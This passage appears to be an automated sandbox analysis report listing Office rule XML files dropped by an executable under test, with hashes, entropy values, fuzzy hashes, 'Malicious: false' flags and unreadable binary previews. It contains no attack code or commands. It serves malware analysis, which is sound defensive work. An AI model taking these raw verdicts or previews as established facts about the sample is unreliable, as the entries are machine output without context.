SHA-512:	7B3B44548CDFDD17B7D71C1A9A21D6A0B1C3B035656C2EF9121B2274B804F64A1BFF7307C64B7E460A3959291AA3F8B6632F7A28757D46C8C2282E6E40601B99
Malicious:	false
Preview:	<?xml.K=.M....X..>O.u>nC]......k..g.b.).u..X'J.i. &(...U....qcRG..7..ocD.B='.U..zC....g....K..=..j..5..9.9...M......rs,..6.o.Ai....f..........#..P..\..........<;x.#"..b.:X.b.+..bd...Gu=iF].5...8W ...X=p{...-T....L..:.m.N.......1..^6......iW.L.s..H ...s.e.sN'.....v.....\.R.n.b....C.....yH..3..i-^.^Fh.Wfz...s#Z..v7.......4.....{..SE5.P..8*..Gb.yv...9K.NN...p....~3N...e9..3......?.....Lw:vt+.(.....;Q..Chm......."...7...5....8.EN......}..AXF.FK.....4.}.I....9a..w...T...).zw3.f.$2....LxL....hW..D ....V....qQ.(......Qp0h.n+1.u...Z..)..)..Ka.SZ..O.....r...=..y.\|P.#......:....9]s.g.j...J#[.7.&G....\.,.H..\|..0B/d....p......iv..>d.dfB.....D...AnP.r..m....Yt........I;<,;...e.3....'c.W.q...id5..L8....F g.....=j..?...&.q.f...../..GJ%9.x.~..PH..t.H~9..r.`.R..{F...rM5....n.._....y.8\:.85.~D}..4kf\|...\|........X[)b.).g........Y.. ......'fz....5.p....9L..~u...s}.1.......>a......^R<....V..=7...#.....U2vB..1.v..t..RF....C...b.?A.7...<g..t.'C.d8T....7..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120201v14.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2974
Entropy (8bit):	7.938792569780762
Encrypted:	false
SSDEEP:	48:CHH7tfekZ63XtWHqAlylUtOG8lZ9dRWfUxe3GFebYhmD4ABP5sfjO8tmI5mylCD:0bVONWKjl0G57ZNlA8fK8UIvK
MD5:	E04DF2607730984E50864C1C8244DA5D
SHA1:	AAA101EC3689BD64430EEA6777EEC82F8966ADA3
SHA-256:	4D703DE6DEBB4F537D25200FF850EBC9FCBE1636DCB771AF88D63A2F64A22723
SHA-512:	53B14F9A6C088A6A41B04A0D8E70CB27EC461196B01AD3D08912103D2FD9FF146A253A1653ABA96B06AEF2575A368577BD5DB000093F706E0544BCFBEFFF9F53
Malicious:	false
Preview:	<?xml..x..I......J2s.....0$......9).M.\|1.. ...2c..&#>J.3+."..\|....q..[..7....;.......G..y...i.w....(g..{...#...Y........R6i`..I..H..%....N...[...u...n.D9.C..L.......D....@.X^Vn.;LN..':{).h.<E.2...0_..D..;.....i..sj2..C.<`.3z.......L?i..V..=.y........."<.....v..6./.....)B.`..!....n.}u.l.".F5#..w....P8e...h.A1}p_:Ljc..,q+..._).U...".D...Cb.......?.N...$k...P...F...2..\'.&....'m\(9..Vp.a.^..2......Zz.s.Z...R.....6E.I...n ..\6.<.x./.g.GX]...sQ..5...v.....c..J...:../..E.3.0..<..U.K.5.I..1U.m...J.9.R...^..Q...\5..._..?OT.s.@Q......a.... $..H%V~S.iW.b.l\|P......8.._........Z9...Dh.Os.r.^C.V..B;1..].+2..-\5.[.. .+s\P..........Vpz>.n..R.%.k-.......4!...N0....y.6.<.%......x%Z}...\.#=.@.....o/..D..O...1.J.e...&......]A.x...d...F..g...aK.p.(...v...(.&.%.}."..@:...1{}S.%a.\...^'.7(.L.....W{....za...OQp/....=X...F..%.!5............F.SR..B..M.....n:.4..B3"?.VMc..\|[........k...Z..?...+... ..'9\b..l..,.4..&ua.5.Z?k....../r._...8.qW...Mi.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120205v11.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3363
Entropy (8bit):	7.936688306312226
Encrypted:	false
SSDEEP:	96:rCvqOF3jWfuZAVv9DehXPs3lPzNPEbEG/XHdNcdm7xVw:+CDMAeuPzNPEbEOHdNcm0
MD5:	56C188E34ADF5D5BDAB766339DFEB5F8
SHA1:	12D47E25DD124EDA38C334255B84C2D6EC861C15
SHA-256:	620A0A5D32157B4A255B626497A592EEFBA9AEF85741892FB00705E92B7CF58E
SHA-512:	DE95219499629BE17C8F1016E5A21A6A77FE764F877ED1EBA2E379F5B735E5365A30CAD467196EC8C398921DBB949E976BB7996E709791BEA9353B5BB6C07C64
Malicious:	false
Preview:	<?xml?..#..~Ad.#..Q_..;.1fE.l.a.........j..Dv.....W/.y..:.[.c.e?.k....@.T.g.,\|._....8.....{.N5..)Zq..2v..(<....B?d..j.s..`.....~o..&;.>....!....+L.y.?.....W....-5.m..:........m."MV.\..)8.I..i.........^.....gL.W!.!.U...Hv.........KFH.+.U...VBQ.....].,.)..bP...J.7.....wv..0x...n..4......:Xbv7..W....w....D.-t.t{...e..w3Rs\|.2....=.V#A2'.w........a..xIjp..3ln@....4.....5U+..Y.?.......(.C.LS..-...0......\.....}ZrG...j.D..]...u....\|..f.;..b...: v..\|e.a.e..Zb......g..Q.\.C._.....v.>......$t..H.?n.&..8..3Pv.1VI.....M...bvz..!.p.P..E...'o....G.( ...C...J#..u.5&h@....^'..J.Vfa.\|..%.+.........'!nWB..GO...u..`....K.Z.J...?OX...+.....<..NOf`.g........+..0...N?e.*..%....BW.r.'..&.U.+i..u.W..w..WE..\.I{s.\|)...h(.T..h..(J...4".........2>!......A...7...F(.RM....O......+...2..,...A..I..r.SP..0.]....T..^........c..a......?`...@G.y....r........^G.v.I.~.MgCp..0(....f..D...:1.@.BGj....]+.p.9........./{.w)M;...n)B...{....=..{.N......Q....j.W1..........KV..0....%3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120300v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1295
Entropy (8bit):	7.863574450464636
Encrypted:	false
SSDEEP:	24:oMWK3/NRoUEbCQzisYZQbTKM0zW06bOUctJ3iyGJ7hUu/bD:oMV31pEbCQPYgTKPWZbODtQrJ7KMD
MD5:	EAD4BF17D6382C820E8907F946824D2E
SHA1:	F625D4D7167F89770C2C4AD5803DD014DB9F22A4
SHA-256:	90838AAEC0CFE7C1B971E6E28900EC90F3EFB19A9B18C173D4A8421F8795697E
SHA-512:	EBE0609DBD3D20E6DE19C2292A032DE275164C860E5D4E334DDC7A0D62B3E6E80697978F5682F42D9508221BE20B58E5D4994403F1A4AD321A49A7C0CB2A62F6
Malicious:	false
Preview:	<?xml.%Q."~.....Z..).......j ..s..G(Ow..A..w.a....la.P9+E..R.t..+A.!`..Z.O."u?].........`..5t.r}tU=.].....P..?.DT?._-bwE.F.?..)..LYz.8.ez....B...x.H..\....8z.H...;k.>+..}.......$Mk/_.)....,fK.]+.-.@m#.fg..=...S`.8.&z.....$0.]D....v...$...Q{..\|..0I.....5.7qxv.R_.>.....N...E....\.u.s....../n.L.g5.....b.!..){f.......(p..8...O.........N.Kq.....Z\s4.:....-....#.W)=<.l....p.)D..O..qaL.#>.;..y.........h4..pH].o...?q.....v..pO[Y.C[.r....\|_ok,.~2....c....G&....7....)v.w.t..{\..(.c{.x...&...3..1P..z3...h._...0.....Z....c..?[....L8wrV.....T..P...2T.P.!^..S.......@(....{\|./...f+..h..m......[$..k.....s:8...o.6NNk....Y..8v.A.C9@..?.dH.........H.r.<.Y.Rc..9;....qr........xA.7M.v..5a..f../j....V.-..:.....YcC5...U =m..zH.I....8....MUM]g. ..h..Fu..j..$.3Q.u#...{...zp>..F./$....b...6.6..Y.n\|.p..2.....%D..r...A..V.?..f@H....qu..........g.(G&.......A.E.7..%........V..{..v....E"'..D...u.U....T.(.zO.{a..W.....t.#....=......PR..g..}M^.K.q~>...%.]..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120304v5.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2582
Entropy (8bit):	7.928978152182438
Encrypted:	false
SSDEEP:	48:5tOdHfHpF6JY91HdsJqjZg9vkgDtxJRTsPNuiEpCmO8TKwUFRD:5tOdHfHr6u91HdRZyvxcgZCmO8TAr
MD5:	1886404F635691CF6D6FBB52B8F80BF7
SHA1:	73F8DA6CD98371D20215CBE7B93E8AFB68182B45
SHA-256:	6171DC337BA7E9DDB360C100F4F829A13412E8B24A957028AEC5D22F48501102
SHA-512:	EEE92631FC5B1ADA22F9F17F45669B4D408E9D7CDEEA1C60A2EB71F13D611EF1B76316C9960B9234868CC7D4783E32097A3D1C0CC2A5F9C3F0FD35C631FF3918
Malicious:	false
Preview:	<?xmlV.....c..V.`I...D...j.#.........1.ji.>.g..b..%..\|=.Gn..}...5......Zf..r..d.....?..\..~..Z...)..q$;..X.x...C...B.k......{...h........X'n...M.K.p..[.....vPZ...m..J#...&x!...l..&k......w......!.....4....sw..!.....3$.h../..o..._......-=..G.b_d..d..P}.Vm..k..&.........7.....t...xO.D.$Q....'\...Z../.S...,...6.~.?Y.E).!okF.+...y..`..j....5>..S..R.}.@d........P..B\|Z$..N...+...p.0.w.q\|...............]x.<.M....e&.........9.Q. .,.GNF..T..aM..l....$..b.."..s,......T.}.[6Q.....).....!H.p.#+..tc...xE...D../_.A..X&.....9.\|.?..1../.A..f...b....;pC....a.O..#\....-.L.\|..p..F.L.t.F C..v...E.ggA=....~C......fQa..y.5...(d.F_5.....9O9..[pf...2..:}.1......~..... CK....To.......X.9.....n...^....G+.<\|7..:^....\|...L....KN....,..}Y..!..J..bJ.'...R`yM._S.;0.....} .#.6.....[.@%.:.vM_2.M.V.>.p.z...o.>.h..K..C...0.;.9...D1P.5.).......>.u............;..._.\|.w..#]E..U........L.B.Y_.2.x..Cu5.5......o.yC...xo..-.M.r..]..3n..c...v...0..n/9.0....]....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120305v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	7.905217452864129
Encrypted:	false
SSDEEP:	48:qKMiVgeOCkj68WltkFWKJZ/GRSdu0LxH/er8qizD:q3wbkj69aplGp0lG9if
MD5:	EC47FA03EB5585056E0E7B526E1371E9
SHA1:	52C48DBAFF5C408B621F9A1271CE5C8E27ECB6C6
SHA-256:	EE085986E76FFBBC627046B06C0A07FFF10CB9D90A70C2B35732F9A54B9BABBC
SHA-512:	AADCA2C28CD19579228BBDEB8E9AFB845EE810B8E555348458604B42A8AE3BDBD0048EFA0125FA1821D82C960109921B2EE3ABF0E2B9271DCFA2DC488B852302
Malicious:	false
Preview:	<?xml.j.....cw<?......$..kV........<l.....l.G5.......3.....p(.7...Ey.1..=\....5T.......~......z....m.(.g.;a...,....)@...S..".J...v..O.}90..w..g........./..ul...)H.p......w.z.W+.hU.[/2..6..%?.xeU..=.F/...f.V.+.._....\.-X..pf..O....G ...B.....('&.+.\..r>...6.}..Fw..}F..d...5.....H.........rc...".E.;..u../.15.O.......,...._>.. .j.Y.l@G.....a{..T.SGB...Z...DD..V..7.Brg...\|...Q.BE.L.s..l...>.u.5XD..G]]...}9.....;}...b].e.b....2hX.!.I...B........Q......{(.A.....F%....".A..<jE.vmU....w...R. ......]#......9!F..p..=h.........n..k......J..bG.eP.)]}}..qr. y....qsm....3........z.......Iuzz..e.....S.tg..<....k.]..m.].ur.Y..p.On...@..h.@..:8..j..\|.k.+.....qV.d."..p....4.....6.<u...F..2.z...'..Q...4.......[..c'..h._K.w...{$M.......c.'....L../A./_......J.d...........5S.M.wkJ..-........ a.9..a.......Z^...C%.J.z..Q..y..6.%.9c....Y.A..s.}.......).EM#.tX\|....b....Z..I.\|.........W]....~.%tU..eRe...VZ...6....d,..k.&... .2..(..p..C...*Kl.F..0.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120307v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.870634090525247
Encrypted:	false
SSDEEP:	48:GN7bNJtAkeF4a9a7CWh2BGnwES9EwTw7sgD:qhEka4BCWh2yZS9EwTN8
MD5:	48A4A3EA267BC0692270B2CDFA4E1B3A
SHA1:	B9764F4C6A8BE33529378292B70DADFEACE14093
SHA-256:	4679BF7C38F9A0BEA3054A23FADB5FDE75268314320DA4E628E7F4C0B1706611
SHA-512:	755533B545ACFAD15994DA793FE1C6D447B4963BEC661199CBE5D76C4FD775A4BEB2077125217353C70290C89086D66EAE7F88E08CF7557CA1BAC2723CD8380B
Malicious:	false
Preview:	<?xmlLFqA.I2$......{Ep.\.h. .\.%.E..,2...I....t..Gz.}..`..95..\.\e...........A...{.Yc...J!j9rx....!jl"..McG..5.RH.b...P;D.E..L.rR.q8H.....B4.....v.#Y.A=.%..s~LQ...6.xd....+...A...`....!<...e0..)h..G..02...Y.......y..<.....w....W.B...Q@.........og.....X.4...+;....4.U>....h.....6]\|1.hUH..........;...t.Jj....p...q.zCY.>.3@..wh.z.D..<.S......C..D.P.Z....g~K%...fK........~.:;.i..1.`.~......b....L...U.....v..yBE.SCT...1,q.E....,U.....,...#/.1.V...L_.0.E...z...5!E........+........X.......^...._...d.).......W.o.....qd..&..3).I4{.....M.\S_AX...0G.3...i.Y...9@1=..2o.....d.t.w..=.q..+4.M.o...>....z.9QQ.G.%.PM..I}...?..9o, .K.....g....S...L.o.C...J..w.k.]...`{j..1.0..n.Hxw....d....v.>u..g.." ...n<+..1...... .}I..t....q.d.....VY.8..u&.H#....g..\..h..o..G~\.y....,..~.u,~...%..$...;.(2...m..S`k.4...5ap....,...E_.N.>..........;,..b...z..]..O..\|1n.....;..dE8.US......!..u...BX<m..N..@w.....6.;.......Q..S.F....J.w>..L.._.X..!....\|P~..{..1vxk...\..q.v..i.E.-C1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule12035v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.9368315806421075
Encrypted:	false
SSDEEP:	48:Cpjdm1R/ACFh+XA689TNR+RKIju9b108DbpuJOG6Hj4n/z8QsDxnrdEUsnCkkD:ujdIACFn681NAUIiXbixn/YrVnJoCH
MD5:	F595291AC580F1D8F24270F3B78201BC
SHA1:	3835A234EA8B34EF68E6AC3BA42F39A7B6414BAB
SHA-256:	0F19F6A361202B61B0817732C65333C40BB4ACA4209E50BB6BE4F2971AB78D6A
SHA-512:	CAFD18474D080E55DA4D0E23F5A2925BAC7DEB3E22F7BF88476F95ED97FA7330B3F8375B1BA626D9198CFDE86FBF86ADC5BBCCF48FCBF66F30CD829274C1966D
Malicious:	false
Preview:	<?xml.....b.\|..K..QF.@J..f...j...7.us.H.q..5[Y....DvO..d"G..`..~...>x..A..<.gi..)5WP....S..,.!...3N...bU,..a..-q....8>.m...==;...!.c....ju. 5.........[..d....r.U.X....o.....2.....k.A.^z..2R.i...j.gS.....\|.......i.....z{t[.Wm(.`.j..............i..&.....i.&.t.&..1.v.8...l..M..}.RN...UN.2.'m?...'..<h[...X.9.B.L...e.....dN....O...@..$..*&.jy...iM.........%..~.L.G,...sp..../...+!EC8;.n.D..1{..P...S_x....').a ......T.S..-jv...@..wR.0...#....A7I\|G5w.C.M.......MuO...Y..k.Y..<..H.....}....hig{.&d>$......K.=x...r@...J.h!...kf2.z G.J6...f.....<r.}R.v+.:..`.Y..f.&Y.........q...+/...O...>-..&X...%.w.Tq.......ui....<....?.!....-..O.t......n..J.....rY.......A.>.E..\|.s$;.PPaf.........-+.X..+.[7.......,U`.M4kx.y9...7][a.....Jb.15.^........=.}.@...&^...u.n{.)Y..u......`+G......[.Z...o.....FT...h.4..6p...4...1..A.S..J{...w.\.s!H&zhi..hg...8.......;.trO.;..=..V.dE..H[..R#a.a.....~.....p.}V.{s...(.....tU...k.....MY.G.KRl9.`Pl4>qma._ .q..E...3...T.ZD..2

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120402v21.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.950313141516526
Encrypted:	false
SSDEEP:	96:UO9r/s5n5y0EayQgigNIPnbhmOXl1bC4sY:Jl/0gpLQvIwwyvCq
MD5:	0DE80A1E3FA65251C0C8A8C34E9D537A
SHA1:	49817A4C86175871B4FB8D4388C6F287E9E35844
SHA-256:	2C1E1E8DD6FA05005893DB52E2801E87D5D67D0E170CF499FA17D27A25458A72
SHA-512:	55DC3F5A966091115C48185F86AB6ED62B3ABF8AF7699A8B8C233CE2D2858E930A0748ABB9E14CEE566CFCEF01EC861347D3C8541DB89C61D74467876B29D954
Malicious:	false
Preview:	<?xml#J.&'...G..>.C8..k...(.3.0\|`....k.Q4E/5"....6..02"...]...2_.,.....P.p.....b.......%.....C.,.Z.DER.)...z...n......B...xWh.<T.I..)..$......Z..6...\..S..)....QPsa...{....}.......-...{y.JK.~.w..r...f.b..@`.F^x...)..........{S?Wx.}.^.N....[aL.....s!....p.74.\|]...0.K...............g.......8[Y.~.lO....-S...D~.o{...\|..5z.`....Z.;..'I..1.e--Bx.BbDEH.lg`k...!....l.3....;....w.....X...._.m..._....).N.".i...X.'..X..{. &.W.....>.0Lco.0YF...5i&!m..Ag$.M]d\|.....T?AE...K..E....B....bV../87..qC.o[.".9.-.........\...7.uP.I.z...rHg..Y...#...Y..bS...].h.D.RHg..2.).e.y....+9D.cbT.2...}.._..F..7&.....+..#..w.......'.y.7.i...b".(...d...U9..:o..ZqA.Bg..-^....w.....p"Y.\|.-=..3.y..j.;...FUA.f.....Ly.KS.....V..uqCU..T1.>..<.OJ..z..=..8W(........?..K.F.E.L..(.0f..F........<\{.b.=.O........$......_.'va}>..7+..".y.>...;l;n<WV~...\|c."m.^..[...!.o.N...{...KF....=.....H.C..L...^[Y?.y.m$y.....b..rI......-.0.m...U..U[.>.y.....:..w..I(.U._Y2\|...... ....P.I.l.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120501v17.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	8140
Entropy (8bit):	7.975597438952276
Encrypted:	false
SSDEEP:	192:DMquLqyQnZuZf7W/fHWN7tl6qtF9nn8rSv:duB4G7Ftl6cF98rSv
MD5:	6B553821A5DDE4CF04F622822A72E91A
SHA1:	A81C7617B9596DAA18AA7FBEAE56E277F636070F
SHA-256:	09F7F38A6E9614065D9346E856DA449DF19333C36F93AAC3FB5210E03A39C006
SHA-512:	69CB9CF8FAFEF4BBEB5B521C8A77468AEAD6A47E39D421AB56CC877564F1723A0AFBE6A7E1247402DF910926818B5FE453C752D64543C91B7BD738F68D723E0C
Malicious:	false
Preview:	<?xml+rK......pM.&.....a..>`zb2Hr..{D.x..z,.9Ot..OY.z..{........@.[Y....$...P[qUK9..5.6.83.o....?zY.ll.78.....>...X!B...C..6/..........$.,..;.I.f.!@{..L>. ...kEbW....hq....p..f....Y....9....6a..c...(.W.R.T.E.M].b.z....:..o...`....XVH.9lp.z#..p...5[...L.pZDG.WE.....s[............T.'8!.>..d1{.;....$F.V#F..E.Ut.#2Z......kT:L.....qp%R....g&..._..4t...s.....K>%...D...A..[.<..Mw..6..H......Vd..>...h]E....h>..e.9>.7.A.a,Sh...z...I.3.9.....n....6..Y.}....} ...1^..~......2Za..S...L,.2...s..gP..Qs..v..7..:Bpnp$.S.{.7..?....<.i.......y...../-.."...C...tX.B..}...=M.^.{hhy..P.K..v.1rBk.y'Z._.&.\.lm].~...bylK.....49....1\|'..<..h.z...4s..8.../p.......R..C.....-........ixx#..}..Yp.w..n.$>(..Jc3...x.v........._I,.uCi.......+..[...j.S....3M>..u.....F..3....v..k.f.C ....$...a.......}.%.y....qZn.,... !.Ip..#j.._..;.J'..q...d\|..jHzx*.}.e.....9...<]y....Z.[...ALcH1..h"+.p.3.g.{.......rT.........t.f4......:.3.jI.\$.=L...R;.o6...a7g.o...[N..=..=..,J+.EJ...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120600v4.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3313
Entropy (8bit):	7.9363821609108225
Encrypted:	false
SSDEEP:	96:YlEY1AiH8qIPULgPgeB5pPX1JLn9pgpW1kVXzh4HVdY:YlEY1jH8qIPUcPhVL9XSzYO
MD5:	570E5CF18C10D6C965926A7162005F21
SHA1:	BDD72481DF5B2EF5E332391C2B6712933DDDB420
SHA-256:	19F394DAC2668CFE0999DA87086DDF018681AECAFD6C0283FC634146BBDD7C53
SHA-512:	E6A072FAD2534CEE609B95986278A5581853D9100B3E672CB2381BE6DFF36D51FA3CCDE09192B83028D2AF04EF8E2A824EB89FFA6914CCC8E9563D2D8AD0340C
Malicious:	false
Preview:	<?xml....?..4R...?.7..H(*.....-;;...6.....>k.....t........C......9....t.......d.....=...h.....S.}........\=.f4=.O/.A.O.5.p.........?....:...T.):I~XB.$/\|C.uv .....tT..N....6.r.....bws....h..9...W..o@.........$....K..M..m.Ua.e..+.$."f.C..X...C_.8...1c.......U.@.P...`.$.q.....p)X....VyZQ._E. .].C.......t.n.6....B.N=.X......Nf......_..!x.M....9..l.t.....C......Y.i....#..........$=..r..E..(.+.(....8......04u..IME.@.@..........0.z..0.......?..c`.....?..\|.G....'P.OO%..6.......\:.G.G.z.h_...m\..\.N...^.........M....L.. .-..\|..y...c)@.i5.v...6....%Fu..'f...$.P:.......%.6.H._.J..1...P..e..Z......m1".k. .G>....B.9pk./?....J....kV)...5.YY%C..h..ZX...&..&......Q....R.g.F..i..)...9]....tx.-..0..S..k .X..G../.Jz..H.L.).w.5......6B.E/@Q..PJ...DH..`.o..he.&.".}.....N.{.h.....k#..-.~ .^.....4..{.....er...7.CE....}E...R.I...}%.aj.O.K..K..Z<.!.....P...g86L.!).HMZ....m..@<....,m,.%e.M.d.....U.....fF.z.#..I...E...7.[j.4_./.C.{..FU....`.l.....J2'72....<..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120601v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3675
Entropy (8bit):	7.951484094194664
Encrypted:	false
SSDEEP:	96:NlqPoqyr/e5td4mzUCtJgISIMYa9FDGEtO1En+u/KON:HTqyWtd4mzUC7gISIMYwA10+u/FN
MD5:	F6E7624E090EBC39A285C7B37B2183DF
SHA1:	5F1AA4ADB0533F2C1D1D2678E87F3A3475B1C1C1
SHA-256:	37175EC346EC12940F64E62A34DB5378BBE19A11D53C11CCDC3BBA9EFC25CB5C
SHA-512:	E2F5E573989DCF872EF261FA2AF611C3CC2F7FC7F79A5572561225382998A2E79C2224A1D436F6FF2DFCBB267FC8906958526B61C22B14468FC0FB773B678723
Malicious:	false
Preview:	<?xml..W........U5..Z...2.....8.M..By..91..J....LV.....DD.....j..D23K....x.)e.\..:..+.iB...._...G...7....;.5.....s..T.....B(S...p../s@.......=.P.H...Oq.c...tK.X...(.aeW.......F.....u..<.?..c.b.....G;y.j..U...=..i....4.....7..G.Q..6.0..R.>.(S2..,E.p...d]....t.GW.`I=Y....e..+.B.....\.7...8.....H\|0.0.C...W^...8..V5:H...B...uw....W.2...I..aJ.i$.V^..27..f. ...gt.(S%n...T)...?...FsI$...X#.2x.>...D#.e..0.;2..76A.r............k./....Vs9?.SA.r...NH.A..../....E......n.....h.~u(......}...c7C...2E....."R..wj_?m....^....AR........r.....D..u....M....3.Z.Z...O.Pb...@.,..4..bi].3_.C!@......c~.....7..}........c+c.QB.-..U.r........e....u..DM.....\|.\|=..}b.h..s..ho.k.#.6\|.e..S.FHI]..6...6...1...@d]kb..N..e..N./....,PR.L<...].4..%.,....>d.s-.)...>ij.,..1CJ.Id.~......e@...\|z...$H..7.5.O.;.[.B.r./....2...&..0..$...Sl.\|=.m..8W......)..r!,.U\|x>..=.1C.....j..f.9........V....^..<....Cu.E-....wQ.d..I.........C.,@n),3.....m@'...[A...E......_.w..6.C9i.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120602v8.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2924
Entropy (8bit):	7.937131986797462
Encrypted:	false
SSDEEP:	48:ztwSqS+Xn/AA8Xv2A20gRJBF1ybch4Fz1BsIZ08D6FietjLzc8u9D:zuSqjXnrqv27BvF1ica14IZ0Ptj0xF
MD5:	C4A73A55776E9A105A03661A6D4F9223
SHA1:	26BC79CE2262502FF196D71451819D25013DC15A
SHA-256:	3820E8A042908C5D797FB56C848AA41BF47CC19FE75D1D7CB91AAB7463D9EF51
SHA-512:	09017D4A06E9C9C2001D2F8AC05DF7A682596E7B0766F2D9662AC8CDB60B12B46F634075C8568A07FEA52346AEDB309020A4DD3BE41F5CC1543B8C38DA4FA749
Malicious:	false
Preview:	<?xml?q..%<D.y....W..H...G...\....Q...:......8v......7"s....W.J:.(j...;?.v_.nIy.wR...1....z........2}].gb...Y..E..,..q.:........@......./c.D4...`.'..?.o...j.c.~D....L..l....TZ....V.....dQh7.&.s.....$..6L..W.eY.>...0!.e..-....35.(.m...\|.N..P..79.4T~i...ic..@Z......8V.......K.........K.L.}a1..........=....:@.S.......].t..xJ.o.^...d..g.p.8-l.dDA<.;..t.y ....Nqc!5AGv..4...25.../.@.wp...94.&?.E...o3.... +W<.t3'..=Vz.~.%0...h.Z.a...#...[n....s..^.r.5Ea.3.O.....&0.`Z.m..............i_......VfPfh...<?[..K.Sr.Sh....>^@I...a.y..H3.6...<Yi...dD.....U....y.(.......p.......A.....-(o.!.Z.Wa..Ua.j... XG....1R..].z<.v..t......P().G.Qr.90.2.R.B`.~.6....D.....>..b..s....O;...........ub...%..%...$..]."*......K.5f.c!.#w....k...a.p.U....s:.....'8.N+.u.{.%C../......B.B..2.F.....V".$U..n.e=..]R!.Ur`.lR~.>....lKy Bu...u.....40>Z/..t.3e.pmm.VW......B...\|8.$R............K..&.....e.7&3xA.S....P.I.."..!.j.<B;.\m.....86."..Ux.\.x....1..)K3E...\|... ..;$.{.%.h`\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120603v8.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2461
Entropy (8bit):	7.909112223512625
Encrypted:	false
SSDEEP:	48:UNmoY4In2RwZaiSO6TnO4M9HiHStE3eLmJZqp/dXd7DztD:UNlY4IawZaFO6TnOGHe2qddxDR
MD5:	33ADC3462C6CCDC69FF02DE9E60AD665
SHA1:	10F7B0F7B0D414A8C7315EE8C6B00B1EE61AE290
SHA-256:	FED6D1B8AFD64B848ED9CE8F635A30B92416F20CE86591FEAC887829B84B7A67
SHA-512:	D128196562F543969D420488A21AC1400816AD1454BE590ECAED3A246D80ADA90BC6CA49544551D9AFE2B96F2B78D90456A28298FEEF2DBDD0D4B13C886BEEBF
Malicious:	false
Preview:	<?xml......J...K.u......O.E.F%.U-..<.g...".x"l...V..;T.O..n.1... L..2.W+.<._.D;..?..:k...T.6....\|g...7.OB.......V...D.vH....p.zD...Fw...Y;.......?.:\......P."[........O...w"-p62o...ru5........#B....U}..3>y....2..!.E.W......E.nI....]..h... .I..\<.......\|;...Y""..`0....1y.....V...UfYW..@...(.T....zB.5KMn..Xq...-.e..)7...%?.....xk.%?.\D.f!.y..r+..hHM...;)[..3.S.S.;...yvR..;%.-...S`}.+.F.....8.......Te....brP.7...Dt.(.z.Y....U..Z...~#....5..h.@.....3.wF3M.....r...<..ml.T.M.#o.@.L..>2.$v.Y...u.ed.._]K/..=..)...6-AG.u..............;KR.l.Q..t"...,.......6P4....Z.....4+...d.;.............T&...=.....-.F...e4.v.{v.d..m5.......L.S..`....+i..m....w..Nh....)/.b...h.......W.e........`b.E(`...k...A.cO.....$....b...0P."......SY:?.....=#$..Wk....M..N.. .2....<."...Ua.<..x...I.h.......~.."..3....O@....l-.x..w...V....G........-..NU.f...]Q@h..j..YF.]FOc.Q....T..3.1......Fg....D.i..m..P.'...vK....9..\|.4.v.%.....-...-......0.Z....:..A.]..z.}r..>.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120604v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.719907600115524
Encrypted:	false
SSDEEP:	12:nAxJa4N/HwI61Xx/Lgby8Y+z+2pZQJEw6yXnJYDX1xtwHN+IRHpugFLiMYcii9a:MX4IuXlLwXGiwTXnm71riNBRHpugVubD
MD5:	E61C3B8D7432ED1964A8C38E30276599
SHA1:	918AC81BAF5B785840F1EBD9332D59C9F448F458
SHA-256:	E45174B51544E6955DB43053EA4CF16EC3CA9D05860F2AA5A4F038077B6B61B9
SHA-512:	55AB7B3BEC0C6F123AC4E397C1DA40EBBA5FF99F507DD538A674E968B0BCF9F181EAA2EA3F224F77D292BA0FF594B3A87E9D022F14ADA316765B45E4DBC2DE1E
Malicious:	false
